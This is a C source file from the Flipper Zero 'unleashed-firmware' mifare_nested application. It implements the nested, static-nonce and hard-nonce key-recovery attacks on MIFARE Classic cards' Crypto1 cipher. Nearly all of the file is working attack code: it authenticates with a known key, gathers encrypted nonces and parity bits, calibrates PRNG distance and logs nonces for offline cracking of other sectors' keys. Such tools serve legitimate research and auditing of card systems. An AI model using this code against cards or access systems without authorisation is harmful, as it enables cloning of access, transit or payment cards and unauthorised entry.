unleashed-firmware/applications/external/mifare_nested/lib/nested/nested.c

740 lines
19 KiB
C

#include "nested.h"
#include <furi_hal_nfc.h>
#include "../../lib/parity/parity.h"
#include "../../lib/crypto1/crypto1.h"
#define TAG "Nested"
void nfc_util_num2bytes(uint64_t src, uint8_t len, uint8_t* dest) {
furi_assert(dest);
furi_assert(len <= 8);
while(len--) {
dest[len] = (uint8_t)src;
src >>= 8;
}
}
uint64_t nfc_util_bytes2num(const uint8_t* src, uint8_t len) {
furi_assert(src);
furi_assert(len <= 8);
uint64_t res = 0;
while(len--) {
res = (res << 8) | (*src);
src++;
}
return res;
}
uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) {
uint16_t crc = 0x6363; // NFCA_CRC_INIT
uint8_t byte = 0;
for(uint8_t i = 0; i < len; i++) {
byte = buff[i];
byte ^= (uint8_t)(crc & 0xff);
byte ^= byte << 4;
crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^
(((uint16_t)byte) >> 4);
}
return crc;
}
void nfca_append_crc16(uint8_t* buff, uint16_t len) {
uint16_t crc = nfca_get_crc16(buff, len);
buff[len] = (uint8_t)crc;
buff[len + 1] = (uint8_t)(crc >> 8);
}
bool mifare_sendcmd_short(
Crypto1* crypto,
FuriHalNfcTxRxContext* tx_rx,
bool crypted,
uint32_t cmd,
uint32_t data) {
uint16_t pos;
uint8_t dcmd[4] = {cmd, data, 0x00, 0x00};
nfca_append_crc16(dcmd, 2);
memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
if(crypted) {
for(pos = 0; pos < 4; pos++) {
uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos];
tx_rx->tx_data[pos] = res;
tx_rx->tx_parity[0] |=
(((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos));
}
tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
tx_rx->tx_bits = 4 * 8;
} else {
for(pos = 0; pos < 2; pos++) {
tx_rx->tx_data[pos] = dcmd[pos];
}
tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc;
tx_rx->tx_bits = 2 * 8;
}
if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false;
return true;
}
bool mifare_classic_authex(
Crypto1* crypto,
FuriHalNfcTxRxContext* tx_rx,
uint32_t uid,
uint32_t blockNo,
uint32_t keyType,
uint64_t ui64Key,
bool isNested,
uint32_t* ntptr) {
uint32_t nt, ntpp; // Supplied tag nonce
uint8_t nr[4];
// "random" reader nonce:
nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT
// Transmit MIFARE_CLASSIC_AUTH
if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) {
return false;
};
memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
if(isNested) crypto1_reset(crypto); // deinit
crypto1_init(crypto, ui64Key);
if(isNested) {
nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt;
} else {
crypto1_word(crypto, nt ^ uid, 0);
}
// save Nt
if(ntptr) *ntptr = nt;
// Generate (encrypted) nr+parity by loading it into the cipher (Nr)
tx_rx->tx_parity[0] = 0;
for(uint8_t i = 0; i < 4; i++) {
tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i];
tx_rx->tx_parity[0] |=
(((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i));
}
nt = prng_successor(nt, 32);
for(uint8_t i = 4; i < 8; i++) {
nt = prng_successor(nt, 8);
tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff);
tx_rx->tx_parity[0] |=
(((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i));
}
tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
tx_rx->tx_bits = 8 * 8;
if(!furi_hal_nfc_tx_rx(tx_rx, 25)) {
return false;
};
uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0);
if(answer != ntpp) {
return false;
}
return true;
}
static int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) {
return ((oddparity8((Nt >> 24) & 0xFF) ==
((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) &&
(oddparity8((Nt >> 16) & 0xFF) ==
((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) &&
(oddparity8((Nt >> 8) & 0xFF) ==
((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ?
1 :
0;
}
void nonce_distance(uint32_t* msb, uint32_t* lsb) {
uint16_t x = 1, pos;
uint8_t calc_ok = 0;
for(uint16_t i = 1; i; ++i) {
pos = (x & 0xff) << 8 | x >> 8;
if((pos == *msb) & !(calc_ok >> 0 & 0x01)) {
*msb = i;
calc_ok |= 0x01;
}
if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) {
*lsb = i;
calc_ok |= 0x02;
}
if(calc_ok == 0x03) {
return;
}
x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
}
}
bool validate_prng_nonce(uint32_t nonce) {
uint32_t msb = nonce >> 16;
uint32_t lsb = nonce & 0xffff;
nonce_distance(&msb, &lsb);
return ((65535 - msb + lsb) % 65535) == 16;
}
MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) {
uint32_t nonces[5] = {};
uint8_t sameNonces = 0;
uint8_t hardNonces = 0;
Crypto1 crypt;
Crypto1* crypto = {&crypt};
for(int32_t i = 0; i < 5; i++) {
// Setup nfc poller
nfc_activate();
furi_hal_nfc_activate_nfca(100, NULL);
// Start communication
bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo);
if(!success) {
continue;
};
uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
if(nt == 0) continue;
if(!validate_prng_nonce(nt)) hardNonces++;
nonces[i] = nt;
nfc_deactivate();
}
for(int32_t i = 0; i < 5; i++) {
for(int32_t j = 0; j < 5; j++) {
if(i != j && nonces[j] && nonces[i] == nonces[j]) {
sameNonces++;
}
}
}
if(!nonces[4]) {
return MifareNestedNonceNoTag;
}
if(sameNonces > 3) {
return MifareNestedNonceStatic;
}
if(hardNonces > 3) {
return MifareNestedNonceHard;
}
return MifareNestedNonceWeak;
}
struct nonce_info_static nested_static_nonce_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
struct nonce_info_static r;
r.full = false;
// Setup nfc poller
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
free(crypto);
return r;
}
r.cuid = cuid;
uint32_t nt1;
uint32_t nt_unused;
crypto1_reset(crypto);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
if(targetKeyType == 1 && nt1 == 0x009080A2) {
r.target_nt[0] = prng_successor(nt1, 161);
r.target_nt[1] = prng_successor(nt1, 321);
} else {
r.target_nt[0] = prng_successor(nt1, 160);
r.target_nt[1] = prng_successor(nt1, 320);
}
bool success =
mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
if(!success) {
free(crypto);
return r;
};
uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
r.target_ks[0] = nt2 ^ r.target_nt[0];
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
free(crypto);
return r;
}
crypto1_reset(crypto);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused);
success =
mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
free(crypto);
if(!success) {
return r;
};
uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
r.target_ks[1] = nt3 ^ r.target_nt[1];
r.full = true;
nfc_deactivate();
return r;
}
uint32_t nested_calibrate_distance(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key,
uint32_t delay,
bool full) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
uint32_t max_prng_value = full ? 65565 : 1200;
uint32_t rounds = full ? 5 : 17; // full does not require precision
uint32_t collected = 0;
for(rtr = 0; rtr < rounds; rtr++) {
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) {
continue;
}
furi_delay_us(delay);
if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) {
continue;
}
// NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
uint32_t nttmp = prng_successor(nt1, 100);
for(i = 101; i < max_prng_value; i++) {
nttmp = prng_successor(nttmp, 1);
if(nttmp == nt2) break;
}
if(i != max_prng_value) {
if(rtr != 0) {
davg += i;
dmin = MIN(dmin, i);
dmax = MAX(dmax, i);
} else {
dmin = dmax = i;
}
FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
collected++;
} else {
unsuccessful_tries++;
if(unsuccessful_tries > 12) {
free(crypto);
FURI_LOG_E(
TAG,
"Tag isn't vulnerable to nested attack (random numbers are not predictable)");
return 0;
}
}
}
if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1);
davg = MIN(MAX(dmin, davg), dmax);
FURI_LOG_I(
TAG,
"Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu",
rtr,
dmin,
dmax,
davg,
collected);
free(crypto);
nfc_deactivate();
return davg;
}
struct distance_info nested_calibrate_distance_info(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
struct distance_info r;
r.min_prng = 0;
r.max_prng = 0;
r.mid_prng = 0;
for(rtr = 0; rtr < 10; rtr++) {
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
// NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
uint32_t nttmp = prng_successor(nt1, 1);
for(i = 2; i < 65565; i++) {
nttmp = prng_successor(nttmp, 1);
if(nttmp == nt2) break;
}
if(i != 65565) {
if(rtr != 0) {
davg += i;
if(dmin == 0) {
dmin = i;
} else {
dmin = MIN(dmin, i);
}
dmax = MAX(dmax, i);
}
FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
} else {
unsuccessful_tries++;
if(unsuccessful_tries > 12) {
free(crypto);
FURI_LOG_E(
TAG,
"Tag isn't vulnerable to nested attack (random numbers are not predictable)");
return r;
}
}
}
if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1);
FURI_LOG_I(
TAG, "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu", rtr, dmin, dmax, davg);
r.min_prng = dmin;
r.max_prng = dmax;
r.mid_prng = davg;
free(crypto);
nfc_deactivate();
return r;
}
struct nonce_info nested_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key,
uint32_t distance,
uint32_t delay) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint8_t par_array[4] = {0x00};
uint32_t nt1, nt2, ks1, i = 0, j = 0;
struct nonce_info r;
uint32_t dmin = distance - 2;
uint32_t dmax = distance + 2;
r.full = false;
for(i = 0; i < 2; i++) { // look for exactly two different nonces
r.target_nt[i] = 0;
while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
free(crypto);
return r;
}
r.cuid = cuid;
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
furi_delay_us(delay);
bool success = mifare_sendcmd_short(
crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
if(!success) continue;
nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
// Parity validity check
for(j = 0; j < 4; j++) {
par_array[j] =
(oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
}
uint32_t ncount = 0;
uint32_t nttest = prng_successor(nt1, dmin - 1);
for(j = dmin; j < dmax + 1; j++) {
nttest = prng_successor(nttest, 1);
ks1 = nt2 ^ nttest;
if(valid_nonce(nttest, nt2, ks1, par_array)) {
if(ncount > 0) { // we are only interested in disambiguous nonces, try again
FURI_LOG_D(TAG, "Nonce#%lu: dismissed (ambiguous), ntdist=%lu", i + 1, j);
r.target_nt[i] = 0;
break;
}
if(delay) {
// will predict later
r.target_nt[i] = nt1;
r.target_ks[i] = nt2;
} else {
r.target_nt[i] = nttest;
r.target_ks[i] = ks1;
}
memcpy(&r.parity[i], par_array, 4);
ncount++;
if(i == 1 &&
(r.target_nt[0] == r.target_nt[1] ||
r.target_ks[0] == r.target_ks[1])) { // we need two different nonces
r.target_nt[i] = 0;
FURI_LOG_D(TAG, "Nonce#2: dismissed (= nonce#1), ntdist=%lu", j);
break;
}
FURI_LOG_D(TAG, "Nonce#%lu: valid, ntdist=%lu", i + 1, j);
}
}
if(r.target_nt[i] == 0 && j == dmax + 1) {
FURI_LOG_D(TAG, "Nonce#%lu: dismissed (all invalid)", i + 1);
}
}
}
if(r.target_nt[0] && r.target_nt[1]) {
r.full = true;
}
free(crypto);
nfc_deactivate();
return r;
}
struct nonce_info_hard nested_hard_nonce_attack(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint8_t targetBlockNo,
uint8_t targetKeyType,
uint64_t ui64Key,
uint32_t* found,
uint32_t* first_byte_sum,
Stream* file_stream) {
uint32_t cuid = 0;
uint8_t same = 0;
uint64_t previous = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint8_t par_array[4] = {0x00};
struct nonce_info_hard r;
r.full = false;
r.static_encrypted = false;
for(uint32_t i = 0; i < 8; i++) {
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
free(crypto);
return r;
}
r.cuid = cuid;
if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL))
continue;
if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo))
continue;
uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4);
for(uint32_t j = 0; j < 4; j++) {
par_array[j] =
(oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
}
uint8_t pbits = 0;
for(uint8_t j = 0; j < 4; j++) {
uint8_t p = oddparity8(tx_rx->rx_data[j]);
if(par_array[j]) {
p ^= 1;
}
pbits <<= 1;
pbits |= p;
}
// update unique nonces
if(!found[tx_rx->rx_data[0]]) {
*first_byte_sum += evenparity32(pbits & 0x08);
found[tx_rx->rx_data[0]]++;
}
if(nt == previous) {
same++;
}
previous = nt;
FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits);
stream_write_string(file_stream, row);
FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1);
furi_string_free(row);
}
if(same > 4) {
r.static_encrypted = true;
}
r.full = true;
free(crypto);
nfc_deactivate();
return r;
}
NestedCheckKeyResult nested_check_key(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key) {
uint32_t cuid = 0;
uint32_t nt;
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag;
FURI_LOG_D(
TAG, "Checking %c key %012llX for block %u", !keyType ? 'A' : 'B', ui64Key, blockNo);
Crypto1* crypto = malloc(sizeof(Crypto1));
bool success =
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt);
free(crypto);
nfc_deactivate();
return success ? NestedCheckKeyValid : NestedCheckKeyInvalid;
}
bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) {
uint32_t cuid = 0;
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false;
Crypto1* crypto = malloc(sizeof(Crypto1));
bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo);
free(crypto);
nfc_deactivate();
return success;
}
void nested_get_data(FuriHalNfcDevData* dev_data) {
nfc_activate();
furi_hal_nfc_detect(dev_data, 400);
nfc_deactivate();
}
void nfc_activate() {
nfc_deactivate();
// Setup nfc poller
furi_hal_nfc_exit_sleep();
furi_hal_nfc_ll_txrx_on();
furi_hal_nfc_ll_poll();
if(furi_hal_nfc_ll_set_mode(
FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) !=
FuriHalNfcReturnOk)
return;
furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER);
furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER);
furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc);
furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA);
}
void nfc_deactivate() {
furi_hal_nfc_ll_txrx_off();
furi_hal_nfc_start_sleep();
furi_hal_nfc_sleep();
}